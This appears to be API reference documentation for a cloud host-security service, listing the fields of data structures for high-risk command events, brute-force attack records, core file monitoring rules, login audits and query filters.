RuleCategory	Integer	Rule category: 0 - system rule; 1 - user rule Note: This field may return null, indicating that no valid values can be obtained.
RegexBashCmd	String	Automatically generated regular expression Note: This field may return null, indicating that no valid values can be obtained.
PsTree	String	Process tree json pid: process ID; exe: file path; account: groups and users to which the process belongs; cmdline: command execution; ssh_service: ssh service IP, ssh_source: log-in source Note: This field may return null, indicating that no valid values can be obtained.
SuggestScheme	String	Recommended solution Note: This field may return null, indicating that no valid values can be obtained.
HarmDescribe	String	Description Note: This field may return null, indicating that no valid values can be obtained.
Tags	Array of String	Tag Note: This field may return null, indicating that no valid values can be obtained.
References	Array of String	Reference link Note: This field may return null, indicating that no valid values can be obtained.
MachineWanIp	String	Host public IP address Note: This field may return null, indicating that no valid values can be obtained.
MachineStatus	String	Host online status: OFFLINE ONLINE Note: This field may return null, indicating that no valid values can be obtained.
User	String	Log-in user Note: This field may return null, indicating that no valid values can be obtained.
Pid	String	Process ID Note: This field may return null, indicating that no valid values can be obtained.
DetectBy	String	Data source Note: This field may return null, indicating that no valid values can be obtained.

BashEventsInfoNew

Details of high-risk command data (new)

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Used by actions: DescribeBashEventsInfoNew.

Name	Type	Description
Id	Integer	Data ID
Uuid	String	CWPP ID
Quuid	String	Host ID
HostIp	String	Host private IP address
Platform	Integer	Platform type
BashCmd	String	Executed commands
RuleId	Integer	Rule ID equals 0 indicating that the rule has been deleted or the effective scope has been modified.
RuleName	String	Rule name
RuleLevel	Integer	Rule level: 1 - high-risk 2 - medium-risk; 3 - low-risk
Status	Integer	Processing status: 0: Pending; 1: Processed; 2: Whitelisted; 3: Ignored
CreateTime	String	Occurrence time
MachineName	String	Host name
Exe	String	Process name Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Processing time Note: This field may return null, indicating that no valid values can be obtained.
RuleCategory	Integer	Rule category. 0 - system rule; 1 - user rule Note: This field may return null, indicating that no valid values can be obtained.
RegexBashCmd	String	Automatically generated regular expression Note: This field may return null, indicating that no valid values can be obtained.
PsTree	String	Process tree json pid: process ID; exe: file path; account: groups and users to which the process belongs; cmdline: command execution; ssh_service: ssh service IP, ssh_source: log-in source Note: This field may return null, indicating that no valid values can be obtained.
SuggestScheme	String	Recommended solution Note: This field may return null, indicating that no valid values can be obtained.

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HarmDescribe	String	Description Note: This field may return null, indicating that no valid values can be obtained.
Tags	Array of String	Tag Note: This field may return null, indicating that no valid values can be obtained.
References	Array of String	Reference link Note: This field may return null, indicating that no valid values can be obtained.
MachineWanIp	String	Host public IP address Note: This field may return null, indicating that no valid values can be obtained.
MachineStatus	String	Host online status: OFFLINE; ONLINE Note: This field may return null, indicating that no valid values can be obtained.
User	String	Log-in user Note: This field may return null, indicating that no valid values can be obtained.
Pid	String	Process ID Note: This field may return null, indicating that no valid values can be obtained.
MachineType	Integer	0: normal; 1: professional version; 2: ultimate edition Note: This field may return null, indicating that no valid values can be obtained.
DetectBy	Integer	Source of Detection: 0: bash log; 1: real-time monitoring Note: This field may return null, indicating that no valid values can be obtained.

BashPolicy

High-risk command policy

Used by actions: DescribeBashPolicies, ModifyBashPolicy.

Name	Type	Required	Description
Name	String	Yes	Policy name
Enable	Integer	Yes	1: valid; 0: invalid
White	Integer	Yes	0: blocklist; 1: allowlist
BashAction	Integer	Yes	0: alarm; 1: allowlist; 2: intercept
Rule	String	Yes	Regular expression

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Level	Integer	Yes	Risk level (0: none; 1: high-risk; 2: medium-risk; 3: low-risk)
Scope	Integer	Yes	Effective scope (0: a group of QUUID; 1: all professional editions (including ultimate edition); 2: all ultimate editions; 3: all hosts)
Id	Integer	No	Policy ID
Descript	String	No	Policy description Note: This field may return null, indicating that no valid values can be obtained.
EventId	Integer	No	When it is added to the allowlist, the EventId needs to be passed in.Note: This field may return null, indicating that no valid values can be obtained.
DealOldEvents	Integer	No	Whether to process old events as allowlisted ones: 0 - no; 1 - yes Note: This field may return null, indicating that no valid values can be obtained.
Quuids	Array of String	No	A collection of QUUIDs for effective hosts Note: This field may return null, indicating that no valid values can be obtained.
Category	Integer	No	Policy type: 0 - system; 1 - user
CreateTime	String	No	Creation time
ModifyTime	String	No	Modification time
Uuids	Array of String	No	Compatibility with older versions may be needed.

BashRule

High-risk command rules

Used by actions: DescribeBashRules.

Name	Type	Description
Id	Integer	Rule ID
Uuid	String	Client ID
Name	String	Rule name

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Level	Integer	Risk level (0: none, 1: high-risk, 2: medium-risk, 3: low-risk)
Rule	String	Regular expression
Operator	String	Operator
IsGlobal	Integer	Whether a global rule
Status	Integer	Status (0: valid; 1: invalid)
CreateTime	String	Creation time
ModifyTime	String	Modification time
Hostip	String	Host IP
Uuids	Array of String	Arrays of UUIDs for servers to be effective Note: This field may return null, indicating that no valid values can be obtained.
White	Integer	0= blocklist; 1= allowlist Note: This field may return null, indicating that no valid values can be obtained.
DealOldEvents	Integer	Whether to process previous events: 0: do not process; 1: process Note: This field may return null, indicating that no valid values can be obtained.
Description	String	Rule description Note: This field may return null, indicating that no valid values can be obtained.

BroadcastInfo

Security report article details

Used by actions: DescribeSecurityBroadcastInfo.

Name	Type	Description
Title	String	Article name Note: This field may return null, indicating that no valid values can be obtained.
GotoType	Integer	Redirection location: 0: no redirection; 1: virus scanning; 2: vulnerability scan; 3: security baseline Note: This field may return null, indicating that no valid values can be obtained.

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Subtitle	String	Subtitle
CreateTime	String	Release time
Content	String	Rich text content information
Id	Integer	Article unique ID
Type	Integer	Type: 0: emergency notification; 1: feature update; 2: industry honor; 3: version release

Broadcasts

Security report list

Used by actions: DescribeSecurityBroadcasts.

Name	Type	Description
Title	String	Article name Note: This field may return null, indicating that no valid values can be obtained.
Type	Integer	Type: 0: emergency notification; 1: feature update; 2: industry honor; 3: version release Note: This field may return null, indicating that no valid values can be obtained.
Subtitle	String	Subtitle
CreateTime	String	Release time
Id	Integer	Article unique ID
Level	Integer	Severity level. 0: none; 1: critical; 2: high-risk; 3: medium-risk; 4: low-risk

BruteAttackInfo

Password cracking list entity

Used by actions: DescribeBruteAttackList.

Name	Type	Description
Id	Integer	Unique ID

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Uuid	String	CWPP client UUID Note: This field may return null, indicating that no valid values can be obtained.
MachineIp	String	Host IP address Note: This field may return null, indicating that no valid values can be obtained.
MachineName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
UserName	String	Username Note: This field may return null, indicating that no valid values can be obtained.
SrcIp	String	Source IP address Note: This field may return null, indicating that no valid values can be obtained.
Status	String	SUCCESS: cracking successful; FAILED: cracking failed Note: This field may return null, indicating that no valid values can be obtained.
Country	Integer	Country/Region ID Note: This field may return null, indicating that no valid values can be obtained.
City	Integer	City ID Note: This field may return null, indicating that no valid values can be obtained.
Province	Integer	Province ID Note: This field may return null, indicating that no valid values can be obtained.
CreateTime	String	Creation time Note: This field may return null, indicating that no valid values can be obtained.
BanStatus	Integer	0: no blocking (not supported for the client version)1: blocked 2: blocking failed (program exception) 3: no blocking (do not block for the private network) 4: availability zone does not support blocking 10: blocking 81: no blocking (blocking disabled) 82: no blocking (non-Pro Edition)

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		83: no blocking (added to the allowlist) 86: no blocking (system allowlist) 87: no blocking (client offline) Note: This field may return null, indicating that no valid values can be obtained.
EventType	Integer	Event type. 200: brute force cracking event; 300: event of successful brute force cracking (page display); 400: event of brute force cracking on a non-existent account.Note: This field may return null, indicating that no valid values can be obtained.
Count	Integer	Occurrence count Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Machine UUID Note: This field may return null, indicating that no valid values can be obtained.
IsProVersion	Boolean	Whether it is of the Pro Edition (true/false) Note: This field may return null, indicating that no valid values can be obtained.
Protocol	String	Username of the attacked service Note: This field may return null, indicating that no valid values can be obtained.
Port	Integer	Port Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Last attack time Note: This field may return null, indicating that no valid values can be obtained.
InstanceId	String	Instance ID Note: This field may return null, indicating that no valid values can be obtained.
DataStatus	Integer	0: pending; 1: ignored; 5: fixed; 6: added to allowlist Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

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Location	String	Geo-location in Chinese Note: This field may return null, indicating that no valid values can be obtained.
RiskLevel	Integer	Threat level. 0: low-risk; 1: medium-risk; 2: high-risk.Note: This field may return null, indicating that no valid values can be obtained.
DataFrom	Integer	Event source. 0: blocking rule; 1: threat intelligence.Note: This field may return null, indicating that no valid values can be obtained.
AttackStatusDesc	String	Description of the brute force cracking status Note: This field may return null, indicating that no valid values can be obtained.
BanExpiredTime	String	Blocking expiration time (valid only for events in blocking status) Note: This field may return null, indicating that no valid values can be obtained.

BruteAttackRule

Standard blocking mode rule

Used by actions: ModifyBruteAttackRules.

Name	Type	Required	Description
TimeRange	Integer	Yes	Timeframe of the brute force event (unit: second)
LoginFailTimes	Integer	Yes	Number of failed attempts during the brute force event

BruteAttackRuleList

List of rules for determining brute force cracking

Used by actions: DescribeBruteAttackRules.

Name	Type	Description
TimeRange	Integer	Timeframe of the brute force cracking event (unit: second)
LoginFailTimes	Integer	Number of failed attempts during the brute force cracking event
Enable	Boolean	Whether the rule is empty. If yes, fill in the default rule.

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TimeRangeDefault	Integer	Occurrence time range of brute force cracking events, in seconds (default rule)
LoginFailTimesDefault	Integer	Number of failed brute force cracking events (default rule)

CKafkaInstanceInfo

CKafka instance information

Used by actions: DescribeLogDeliveryKafkaOptions.

Name	Type	Description
InstanceID	String	Instance ID
InstanceName	String	Instance name
KafkaVersion	String	Version No.
TopicList	Array of CKafkaTopicInfo	Topic list Note: This field may return null, indicating that no valid values can be obtained.
RouteList	Array of CKafkaRouteInfo	Routing List
DiskSize	Integer	Disk capacity (unit: GB)
VpcId	String	vpcId. Leaving it blank indicates a basic network.
SubnetId	String	Subnet ID
Healthy	Integer	Status: 1 - healthy; 2 - alarm; 3 - abnormal instance status
Zone	String	Availability zone
Az	String	Region
Bandwidth	Integer	Instance bandwidth (unit: Mbps)

CKafkaRouteInfo

CKafka domain name information

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Used by actions: DescribeLogDeliveryKafkaOptions.

Name	Type	Description
RouteID	Integer	Routing ID
Domain	String	Domain name
DomainPort	Integer	Domain Port
Vip	String	Virtual IP
VipType	Integer	Virtual IP Type
AccessType	Integer	Access type

CKafkaTopicInfo

CKafka topic name

Used by actions: DescribeLogDeliveryKafkaOptions.

Name	Type	Description
TopicID	String	Topic ID
TopicName	String	Topic name

CanFixVulInfo

Host information for batch vulnerability fixing

Used by actions: DescribeCanFixVulMachine.

Name	Type	Description
VulId	Integer	Vulnerability ID Note: This field may return null, indicating that no valid values can be obtained.
VulName	String	Vulnerability name Note: This field may return null, indicating that no valid values can be obtained.

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HostList	Array of VulInfoHostInfo	Information on hosts where this vulnerability can be fixed Note: This field may return null, indicating that no valid values can be obtained.
FixTag	Array of String	Fixing prompt tag Note: This field may return null, indicating that no valid values can be obtained.
VulCategory	Integer	

CanNotSeparateInfo

Information on machine with non-isolatable Trojan

Used by actions: DescribeCanNotSeparateMachine.

Name	Type	Description
Quuid	String	Host QUUID
Uuid	String	Host UUID
Alias	String	Server name
PrivateIp	String	Private IP address
PublicIp	String	Public IP
Reason	Integer	Reason for isolation failure: 1 - agent offline

ComponentStatistics

Component statistics

Used by actions: DescribeComponentStatistics.

Name	Type	Description
Id	Integer	Component ID
MachineNum	Integer	Number of hosts
ComponentName	String	Component name

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ComponentType	String	Component type • WEB: Web component • SYSTEM: system component
Description	String	Component description

CreateVulFixTaskQuuids

Create QUUIDs for fixing tasks

Used by actions: CreateVulFix.

Name	Type	Required	Description
VulId	Integer	Yes	Vulnerability ID
Quuids	Array of String	Yes	Hosts that need to fix vulnerabilities. All hosts need to have the vulnerability with the ID of VulId and be in a pending fix status.
FixMethod	Integer	No	

DefaultStrategyInfo

Default policy basic information

Used by actions: DescribeBaselineDefaultStrategyList.

Name	Type	Description
StrategyName	String	Policy name
StrategyId	Integer	Policy ID

DefendAttackLog

Network attack log

Used by actions: DescribeAttackLogs.

Name	Type	Description

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Id	Integer	Log ID
Uuid	String	Client ID
SrcIp	String	Source IP
SrcPort	Integer	Source port
HttpMethod	String	Attack method
HttpCgi	String	Attack description
HttpParam	String	Attack parameter
VulType	String	Threat type
CreatedAt	String	Attack time
MachineIp	String	Target server IP
MachineName	String	Target server name
DstIp	String	Target IP
DstPort	Integer	Target port
HttpContent	String	Attack content
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

DeliverTypeDetails

Log shipping type details

Used by actions: DescribeLogKafkaDeliverInfo, ModifyLogKafkaAccess.

Name	Type	Required	Description
SecurityType	Integer	Yes	Security module type. 1: intrusion detection; 2: vulnerability management; 3: baseline management; 4: advanced defense; 5: client security; 6: asset fingerprint; 7: host list; 8: client reporting.
LogType	Array of Integer	Yes	Type of logs of the security module

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TopicId	String	Yes	Topic ID
TopicName	String	Yes	Topic name
Switch	Integer	Yes	Shipping enabling status. 0: disabled; 1: enabled.
Status	Integer	No	Shipping status. 0: disabled; 1: normal; 2: abnormal.
ErrInfo	String	No	Error message
StatusTime	Integer	No	Timestamp of last status reporting
LogName	String	No	Logset name
LogSetId	String	No	Logset ID
Region	String	No	Logset region

DuplicateHosts

Batch add to allowlists

Used by actions: AddLoginWhiteLists, CreateBanWhiteList.

Name	Type	Description
Quuid	String	Quuid Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Uuid Note: This field may return null, indicating that no valid values can be obtained.
Id	Integer	Id

EmergencyResponseInfo

Expert service - emergency response information

Used by actions: DescribeEmergencyResponseList.

Name	Type	Description
TaskId	String	Task ID

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HostNum	Integer	Number of hosts
Status	Integer	
StartTime	String	Service start time
EndTime	String	Service end time
ReportPath	String	Report download link

EmergencyVul

Emergency vulnerability information

Used by actions: DescribeEmergencyVulList.

Name	Type	Description
VulId	Integer	Vulnerability ID
Level	Integer	Vulnerability level
VulName	String	Vulnerability name
PublishDate	String	Release date
Category	Integer	Vulnerability category
Status	Integer	Vulnerability status. 0: not detected; 1: at risk; 2: not at risk; 3: show progress during check
LastScanTime	String	Last scan time
Progress	Integer	Scan progress
CveId	String	CVE ID Note: This field may return null, indicating that no valid values can be obtained.
CvssScore	Float	CVSS score Note: This field may return null, indicating that no valid values can be obtained.
Labels	String	Vulnerability Tags, Separated by Multiple Commas Note: This field may return null, indicating that no valid values can be obtained.

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HostCount	Integer	Number of affected machines Note: This field may return null, indicating that no valid values can be obtained.
IsSupportDefense	Integer	Whether to support defense: 0: no; 1: yes Note: This field may return null, indicating that no valid values can be obtained.
DefenseAttackCount	Integer	Number of Attacks Defended Note: This field may return null, indicating that no valid values can be obtained.
Method	Integer	Detection rule: 0: version comparison; 1: POC verification Note: This field may return null, indicating that no valid values can be obtained.
AttackLevel	Integer	Attack intensity level Note: This field may return null, indicating that no valid values can be obtained.
DefenseState	Boolean	Whether vulnerability defense is enabled on hosts with vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.

EventStat

Unprocessed security event statistics

Used by actions: DescribeSecurityEventStat.

Name	Type	Description
EventsNum	Integer	Number of events
MachineAffectNum	Integer	Number of affected hosts

ExpertServiceOrderInfo

Expert service order information

Used by actions: DescribeAvailableExpertServiceDetail, DescribeExpertServiceOrderList.

Name	Type	Description

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OrderId	Integer	Order ID
InquireType	Integer	Order type. 1: emergency; 2: Ultimate Edition important period guarantee; 3: security manager.
InquireNum	Integer	Number of services
BeginTime	String	Service start time
EndTime	String	Service end time
ServiceTime	Integer	Service duration, in months
Status	Integer	Order status. 0: not started; 1: in service; 2: expired; 3: completed; 4: refunded and terminated.

ExportInfo

Task list of downloaded logs

Used by actions: DescribeLogExports.

Name	Type	Description
ExportId	String	Task ID of exported logs
Query	String	Query statements of log export
FileName	String	Filenames of exported logs
FileSize	Integer	Log file size
Order	String	Sorting of log export time
Format	String	Log export format
Count	Integer	Number of logs to be exported
Status	String	Log download status. Processing: export in progress; Completed: export completed; Failed: export failed; Expired: log export expired (valid for 3 days).
StartTime	Integer	Start time of log export, with a millisecond-level UNIX timestamp
EndTime	Integer	End time of log export, with a millisecond-level UNIX timestamp
CosPath	String	Log export path

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CreateTime	String	Creation time of log export

FieldValueRatioInfo

Quick analysis of statistics data

Used by actions: DescribeFastAnalysis.

Name	Type	Description
Count	Integer	Number
Ratio	Float	Ratio
Value	String	Value

FileTamperEvent

Core file monitoring event

Used by actions: DescribeFileTamperEvents.

Name	Type	Description
HostName	String	Machine Name
HostIp	String	Machine IP
CreateTime	String	Occurrence time
ModifyTime	String	Last occurrence time
Id	Integer	Event ID
Uuid	String	Host UUID
Quuid	String	cvm id
Type	Integer	Event Type/Action. 0 - Alarm
ProcessExe	String	Process path
ProcessArgv	String	Process parameter
Target	String	Target file path

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Status	Integer	Processing Status. 0 - Pending; 1 - Allowlisted; 2 - Deleted; 3 - Ignored; 4 - Manually Processed
EventCount	Integer	Event Occurrences
RuleId	Integer	Rule ID
RuleName	String	Rule name
Pstree	String	Event Details: JSON Format
RuleCategory	Integer	Rule Type. 0 - System Rule; 1 - Custom Rule
MachineStatus	String	Host Online Information: ONLINE, OFFLINE
Description	String	Severity description
Suggestion	String	Remediation Suggestions
PrivateIp	String	Private IP address
ExePermission	String	Process permission
UserName	String	Username
UserGroup	String	User group
ExeMd5	String	Process name
ExeSize	Integer	Process File Size
ExeTime	Integer	Process Execution Duration
TargetSize	Integer	Target file size
TargetPermission	String	Target File Permissions
TargetModifyTime	String	Target File Update Time Note: This field may return null, indicating that no valid values can be obtained.
TargetCreatTime	String	Target File Creation Time Note: This field may return null, indicating that no valid values can be obtained.
ExePid	Integer	Process PID
TargetName	String	File name

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Reference	String	Reference link
Level	Integer	Risk Level. 0: None; 1: High-Risk; 2: Medium-Risk; 3: Low-Risk
ExeName	String	Process name Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.
FileAction	String	File threat behavior • read: read file • write: modify file Note: This field may return null, indicating that no valid values can be obtained.

FileTamperRule

Core file monitoring rules

Used by actions: DescribeFileTamperEventRuleInfo, DescribeFileTamperRuleInfo, DescribeMachineFileTamperRules, ModifyFileTamperRule.

Name	Type	Required	Description
ProcessPath	String	Yes	Process path
Target	String	Yes	Accessed file path
Action	String	Yes	Recommended action: skip: skip; alarm: alert
FileAction	String	No	Monitoring behavior • read: read file • write: modify file • read-write: read and modify file Note: This field may return null, indicating that no valid values can be obtained.

FileTamperRuleCount

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Information on Number of Host-associated Core File Rules

Used by actions: DescribeFileTamperRuleCount.

Name	Type	Description
Uuid	String	Host UUID
Count	Integer	Number of Association Rules
Name	String	Name of the Association Rule (Show Only One of Them) Note: This field may return null, indicating that no valid values can be obtained.

FileTamperRuleDetail

Core File Monitoring Rule Details

Used by actions: DescribeFileTamperEventRuleInfo, DescribeFileTamperRuleInfo.

Name	Type	Description
Name	String	Rule name Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Update time
CreateTime	String	Creation time
Status	Integer	Status. 0: Enabled; 1: Disabled
Rule	Array of FileTamperRule	Rule
Uuids	Array of String	Effective Host UUID. Empty means all hosts, and returned number of entries can be controlled through parameters. Note: This field may return null, indicating that no valid values can be obtained.
Id	Integer	Rule ID
IsGlobal	Integer	Global Rule or Not (No by Default). 0: No; 1: Yes
Level	Integer	Risk Level. 0: None; 1: High-Risk; 2: Medium-Risk; 3: Low-Risk
UuidTotalCount	Integer	Total Number of Effective Hosts

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AddWhiteType	String	Allowlisted processing type • cur: add the current items to the allowlist • all: add all items that meet the conditions to the allowlist Note: This field may return null, indicating that no valid values can be obtained.

FileTamperRuleInfo

List of core file monitoring rules

Used by actions: DescribeFileTamperRules.

Name	Type	Description
Name	String	Rule name Note: This field may return null, indicating that no valid values can be obtained.
RuleCategory	Integer	Rule Type. 0: System Rule; 1: User Rule
HostCount	Integer	Number of affected hosts Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Update time
CreateTime	String	Creation time
Status	Integer	Status. 0: Enabled; 1: Disabled
Id	Integer	Rule ID, which is set to 0 for system rules
IsGlobal	Integer	Whether global 0: no; 1: yes
Level	Integer	Risk Level. 0: None; 1: High-Risk; 2: Medium-Risk; 3: Low-Risk
WriteRuleCount	Integer	Number of write entries for the sub-rule Note: This field may return null, indicating that no valid values can be obtained.
ReadRuleCount	Integer	Number of read entries for the sub-rule Note: This field may return null, indicating that no valid values can be obtained.
ReadWriteRuleCount	Integer	Number of read and write entries for the sub-rule

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		Note: This field may return null, indicating that no valid values can be obtained.
FileAction	String	Monitoring behavior • read: read file • write: modify file • read-write: read and modify file Note: This field may return null, indicating that no valid values can be obtained.
AddWhiteType	String	Allowlisted processing type • cur: add the current items to the allowlist • all: add all items that meet the conditions to the allowlist Note: This field may return null, indicating that no valid values can be obtained.

Filter

Description key-value pair filter, which is used for conditional filtering queries. For example, filter by ID, name, and status.

If there are multiple Filters, the logical relationship between them is AND.
If multiple values exist in one filter, the logical relationship between these values is OR.

- A maximum of 5 filters are allowed.
- If a single filter has multiple values, the number of values cannot exceed 5.

Used by actions: DescribeAccountStatistics, DescribeAssetMachineList, DescribeAssetPortInfoList, DescribeAssetProcessInfoList, DescribeAssetSystemPackageList, DescribeAssetUserList, DescribeAssetWebAppList, DescribeAssetWebFrameList, DescribeAssetWebLocationList, DescribeAttackEvents, DescribeAttackLogs, DescribeAttackTop, DescribeAttackTrends, DescribeBanWhiteList, DescribeBaselineHostDetectList, DescribeBaselineItemDetectList, DescribeBaselineItemList, DescribeBaselinePolicyList, DescribeBaselineWeakPasswordList, DescribeBashEvents, DescribeBashEventsNew, DescribeBashPolicies, DescribeBashRules, DescribeBruteAttackList, DescribeComponentStatistics, DescribeExportMachines, DescribeHistoryAccounts, DescribeHostLoginList, DescribeIgnoreHostAndItemConfig, DescribeLicenseBindSchedule, DescribeLoginWhiteCombinedList, DescribeLoginWhiteList, DescribeMachineDefenseCnt, DescribeMachineRiskCnt, DescribeMachines, DescribeMachinesSimple, DescribeMalWareList, DescribeMalwareWhiteList, DescribeMalwareWhiteListAffectList, DescribeNetAttackWhiteList, DescribeOpenPortStatistics, DescribePrivilegeRules, DescribeProcessStatistics, DescribeReverseShellEvents,

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DescribeReverseShellRules, DescribeRiskDnsEventList, DescribeRiskDnsList, DescribeRiskDnsPolicyList, DescribeRiskProcessEvents, DescribeSecurityEventStat, DescribeVulDefenceEvent, DescribeVulDefenceList, DescribeVulDefencePluginDetail, DescribeVulDefencePluginStatus, DescribeVulEffectHostList, DescribeVulEffectModules, DescribeVulStoreList, DescribeWebHookPolicy, DescribeWebHookReceiver, DescribeWebHookRules, ExportAssetMachineList, ExportAssetPortInfoList, ExportAssetProcessInfoList, ExportAssetSystemPackageList, ExportAssetUserList, ExportAssetWebAppList, ExportAssetWebFrameList, ExportAssetWebLocationList, ExportBaselineFixList, ExportBaselineHostDetectList, ExportBaselineItemDetectList, ExportJavaMemShellPlugins, ExportJavaMemShells, ExportNonlocalLoginPlaces, ExportRiskDnsEventList, ExportRiskDnsPolicyList, ExportRiskProcessEvents, ExportVulDefenceEvent, ExportVulDefenceList, ExportVulDefencePluginEvent, ExportVulEffectHostList, ExportVulList, ModifyBaselinePolicy.

Name	Type	Required	Description
Name	String	Yes	Name of filter key
Values	Array of String	Yes	One or more filter values
ExactMatch	Boolean	No	Fuzzy search

Filters

Description of key-value pair filter, which is used for conditional filtering queries. For example, filter by ID, name, and status.

If there are multiple Filters, the logical relationship between them is AND.
If there are multiple Values in the same Filter, the logical relationship between the Values under the same Filter is OR.

Used by actions: DescribeBaselineEffectHostList, DescribeBaselineList, DescribeCanNotSeparateMachine, DescribeEmergencyResponseList, DescribeEmergencyVulList, DescribeExpertServiceList, DescribeExpertServiceOrderList, DescribeFileTamperEvents, DescribeFileTamperRules, DescribeIgnoreRuleEffectHostList, DescribeJavaMemShellList, DescribeJavaMemShellPluginInfo, DescribeJavaMemShellPluginList, DescribeLicenseBindList, DescribeLicenseList, DescribeMachineClearHistory, DescribeMaliciousRequestWhiteList, DescribeRansomDefenseBackupList, DescribeRansomDefenseEventsList, DescribeRansomDefenseMachineList, DescribeRansomDefenseRollBackTaskList, DescribeRansomDefenseStrategyList, DescribeRansomDefenseStrategyMachines, DescribeScanState, DescribeScanTaskDetails, DescribeTags, DescribeVulList, ExportAttackEvents, ExportBaselineEffectHostList, ExportBaselineList, ExportBashEvents, ExportBashEventsNew, ExportBashPolicies, ExportBruteAttacks, ExportFileTamperEvents, ExportFileTamperRules, ExportIgnoreRuleEffectHostList, ExportLicenseDetail, ExportMaliciousRequests, ExportMalwares, ExportPrivilegeEvents, ExportRansomDefenseBackupList, ExportRansomDefenseEventsList, ExportRansomDefenseMachineList, ExportRansomDefenseStrategyList,

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ExportRansomDefenseStrategyMachines, ExportReverseShellEvents, ExportScanTaskDetails, ExportVulDetectionReport, ModifyEventAttackStatus, ModifyRiskEventsStatus.

Name	Type	Required	Description
Name	String	Yes	Name of filter key
Values	Array of String	Yes	One or more filter values
ExactMatch	Boolean	No	Whether to use fuzzy match. It will be handled by the front-end and can be ignored.

FullTextInfo

Configuration for full-text index

Used by actions: DescribeLogIndex.

Name	Type	Description
CaseSensitive	Boolean	Whether case-sensitive
Tokenizer	String	Delimiter
ContainZH	Boolean	Whether Chinese characters are contained.

HistoryAccount

Account change history data

Used by actions: DescribeHistoryAccounts.

Name	Type	Description
Id	Integer	Unique ID
Uuid	String	CWPP client UUID
MachineIp	String	Private IP address of the host
MachineName	String	Host name
Username	String	Username

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ModifyType	String	Account change type • CREATE: account creation • MODIFY: account modification • DELETE: account deletion
ModifyTime	Timestamp	Change time

HostDesc

Host information entity of the log-in audit allowlist

Used by actions: DescribeLoginWhiteHostList.

Name	Type	Description
Quuid	String	Yunjing client ID
Uuid	String	Host ID
MachineName	String	Machine name
MachineIp	String	Machine IP address. This parameter is left blank for terminated servers.
MachineWanIp	String	Public IP address. This parameter is left blank for terminated servers.
Tags	Array of MachineTag	Tag information array

HostInfo

Add the host information entity of the log-in audit allowlist.

Used by actions: AddLoginWhiteLists, ModifyLoginWhiteRecord.

Name	Type	Required	Description
Quuid	String	Yes	Quuid
Uuid	String	Yes	Uuid

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HostLoginList

Log-in audit list entity

Used by actions: DescribeHostLoginList.

Name	Type	Description
Id	Integer	Record ID
Uuid	String	UUID string Note: This field may return null, indicating that no valid values can be obtained.
MachineIp	String	Host IP Note: This field may return null, indicating that no valid values can be obtained.
MachineName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
UserName	String	Username Note: This field may return null, indicating that no valid values can be obtained.
SrcIp	String	Source IP Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	1: normal log-in; 2: cross-region log-in; 5: allowlisted; 14: processed; 15: ignored
Country	Integer	Country/Region ID Note: This field may return null, indicating that no valid values can be obtained.
City	Integer	City ID Note: This field may return null, indicating that no valid values can be obtained.
Province	Integer	Province ID Note: This field may return null, indicating that no valid values can be obtained.
LoginTime	String	Log-in time Note: This field may return null, indicating that no valid values can be

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		obtained.
ModifyTime	String	Modification time Note: This field may return null, indicating that no valid values can be obtained.
IsRiskArea	Integer	Whether hit the exception of cross-region log-in: 1: yes; 0: no Note: This field may return null, indicating that no valid values can be obtained.
IsRiskUser	Integer	Whether hit the exception of abnormal user: 1: yes; 0: no Note: This field may return null, indicating that no valid values can be obtained.
IsRiskTime	Integer	Whether hit the exception of abnormal time: 1: yes; 0: no Note: This field may return null, indicating that no valid values can be obtained.
IsRiskSrcIp	Integer	Whether hit the exception of abnormal IP: 1: yes; 0: no Note: This field may return null, indicating that no valid values can be obtained.
RiskLevel	Integer	Risk level: 0: high 1: suspicious Note: This field may return null, indicating that no valid values can be obtained.
Location	String	Location name Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.
Desc	String	High-risk information description: ABROAD - overseas IP XTI - threat intelligence Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.
Port	Integer	Request destination port

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		Note: This field may return null, indicating that no valid values can be obtained.

HostLoginWhiteObj

Add log-in audit allowlist entity

Used by actions: AddLoginWhiteLists.

Name	Type	Required	Description
Places	Array of Place	Yes	Allowlisted region
SrcIp	String	Yes	Allowlisted source IP address. IP ranges are supported. Multiple IPs are separated by commas.
UserName	String	Yes	Allowlisted username separated by commas
IsGlobal	Integer	Yes	Whether the allowlist is effective globally. 1: all hosts; 0: only a single host.
HostInfos	Array of HostInfo	Yes	List of information on machines where the allowlist is effective
Remark	String	No	Remarks
StartTime	String	No	Start time
EndTime	String	No	End time

HostTagInfo

Host and host tag information

Used by actions: DescribeHostInfo.

Name	Type	Description
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.
TagList	Array of String	Host tag name array Note: This field may return null, indicating that no valid values can be obtained.

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HostIp	String	Host intranet IP Note: This field may return null, indicating that no valid values can be obtained.
AliasName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
MachineWanIp	String	Host public IP address Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.
KernelVersion	String	Kernel version number Note: This field may return null, indicating that no valid values can be obtained.
MachineStatus	String	Host online status: ONLINE; OFFLINE Note: This field may return null, indicating that no valid values can be obtained.
ProtectType	String	Protection version: BASIC_VERSION - Basic Edition PRO_VERSION - Professional Edition; Flagship: Ultimate Edition Note: This field may return null, indicating that no valid values can be obtained.
VulNum	Integer	Number of vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
CloudTags	Array of Tags	Cloud Tag Information Note: This field may return null, indicating that no valid values can be obtained.
InstanceID	String	Host Instance ID Note: This field may return null, indicating that no valid values can be obtained.
